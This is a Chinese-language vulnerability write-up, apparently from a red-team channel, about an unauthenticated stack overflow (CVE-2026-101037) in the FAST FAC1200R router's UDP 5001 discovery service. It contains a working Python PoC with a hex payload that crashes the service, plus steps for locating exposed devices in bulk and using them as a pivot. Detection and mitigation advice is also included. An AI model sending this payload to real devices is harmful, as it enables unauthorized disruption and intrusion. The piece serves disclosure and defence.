2026-10-16 07:24:17 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

(9.9分) CVE-2026-101037：FAST路由器栈溢出PoC公开

红队安全圈
红队安全圈

红队安全圈

2026年9月29日 08:48
重庆

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

CVSS 9.9 的路由器栈溢出：一个 UDP 包、无需认证、exploit 已公开，厂商被联系过却拒绝回应——暴露面里的 FAC1200R 现在就是活靶子。

01 漏洞速览

漏洞编号CVE-2026-101037

影响产品FAST FAC1200R 5.0\_20201119\_1.0.2

漏洞类型栈缓冲区溢出（CWE-121）

危害等级CVSS 9.9 Critical

攻击前提无鉴权，网络可达 UDP 5001 即可

PoC 状态已公开（GitHub 完整分析+脚本）

官方补丁暂无（厂商未回应）

02 漏洞成因

问题出在固件的 devdiscover 服务上。这个服务在设备上监听 UDP 5001 端口，收到数据后走一条固定链路处理：

UDP 5001

-> devDiscoverHandle

-> protocol\_handler

-> ms\_idle\_handler

-> parse\_advertisement\_frame

-> parse\_msg\_element

-> copy @0x80444928

-> 拷贝例程 @0x803DBE50

关键在最后一步：一个类型为 1 的 advertisement 包进入 parse\_advertisement\_frame 后，函数在栈上准备了一个 229 字节的本地缓冲区。但后面调用的拷贝例程，长度参数直接取自网络包里解析出来的 length 字段——没有任何上界校验。

构造一个 length 远大于 229 的包，拷贝例程就会照单全收，把远超缓冲区大小的数据写到栈上。实测抓到的运行时证据：到达脆弱拷贝函数时寄存器 a2 = 0x0000c709（十进制 50953），直接来自包内长度字段，比 229 字节的栈缓冲区大了两百多倍。

这是 VxWorks 设备固件里非常典型的模式：解析网络协议时信任包内长度字段，源和目的都自己控制，中间没有一层 sanity check。

03 影响范围

受影响的是 FAC1200R 固件 5.0\_20201119\_1.0.2（该版本可从厂商官网直接下载，分析即基于此）。已修复版本：无。厂商在披露前已被联系，未做任何回应，截至发文没有官方补丁。devdiscover 是设备自动发现服务，默认开启，WAN/LAN 侧都可能可达。

同批披露还有同款固件的关联漏洞 CVE-2026-101038，以及 Netcore NR289-GE（1.4.5102）的三个同类栈溢出：CVE-2026-101072、CVE-2026-101076、CVE-2026-101077——这批入门级路由器的服务处理代码是系统性缺乏边界校验的。

04 利用分析

公开 PoC 是一个十几行的 Python 脚本，向 5001 端口发一个构造好的 UDP 包。利用步骤：

第一步，确认目标开放 UDP 5001。devdiscover 是设备发现服务，通常 LAN 侧直接可达；暴露到 WAN 的设备用测绘引擎也能批量定位。

第二步，发送恶意构造的 advertisement 包。包内 length 字段填超大值（PoC 里是 0xc709），后面的元素数据填溢出填充内容：

import socket

payload = bytes.fromhex(

\"01010e00e12b83c763590345\"

\"00000005c709097700080000\"

\"000500044141414100414141\"

\"414141414141414140411641\"

\"414141414144414141418000\"

\"000064414141414141424101\"

\"41414141\")

sock = socket.socket(

socket.AF\_INET,

socket.SOCK\_DGRAM)

sock.sendto(

payload, (\"192.168.1.1\", 5001))

第三步，包沿处理链路直达脆弱拷贝函数，超长数据越界写入栈区。实测表现是服务崩溃；能否进一步劫持控制流，取决于设备运行时的内存布局和保护机制。路由器类设备的固件通常没有现代栈保护，控制流劫持的空间是存在的。

复现环境：作者用基于 LibAFL/QEMU system-mode 的 VxWorks 模拟环境加载固件，hook UDP 接收路径注入 payload，逐步确认包到达整条链路各函数地址，最后在 0x80444928 处确认 a2=0x0000c709。

05 检测与排查

判断设备是否受影响，在管理界面查固件版本——FAC1200R 且版本为 5.0\_20201119\_1.0.2 即受影响。

网络侧排查：审计发往设备 UDP 5001 端口的流量。正常的设备发现包很短且规律，命中以下特征就值得警惕：

非可信网段来源的

UDP 5001 请求

长度字段与数据长度

严重不符

devdiscover 异常重启

（崩溃后被拉起）

06 修复建议

官方补丁没有，只能自己动手：

防火墙封掉设备 UDP 5001 端口的外部访问——这是最直接的一步，远程利用路径全走这个口。
路由器管理面只放行可信管理网段。
关注厂商后续固件更新，有新版本立即升级。
这台设备的固件 2020 年就没更新过，厂商连披露都不回应，建议直接换设备。

07 红队视角

这个洞对红队的价值在于利用门槛极低加 PoC 完全公开：一个 UDP 包、十几行脚本、无需认证。同类 FAST/Netcore 入门级路由器在国内家庭和小微企业里保有量巨大，授权项目里用测绘引擎批量定位、再打 5001 端口，是一条很顺的内网切入路径——拿下出口路由器就是拿到流量镜像和内网跳板位置。

逆向角度看这个案例也值得学：VxWorks 固件有符号表，处理链路里的函数地址全部能对上，从固件提取到 QEMU 模拟复现的整套流程是可复用的方法论。这批漏洞（FAST + Netcore 同一天披露六个栈溢出）明显是同一套固件分析流水线批量挖出来的——VxWorks 设备的服务代码里这类信任包内长度的模式还远没挖完。

蓝队侧一句话：厂商不回应的设备，永远当它是 0day 状态来设防，网络层封口比等补丁现实得多。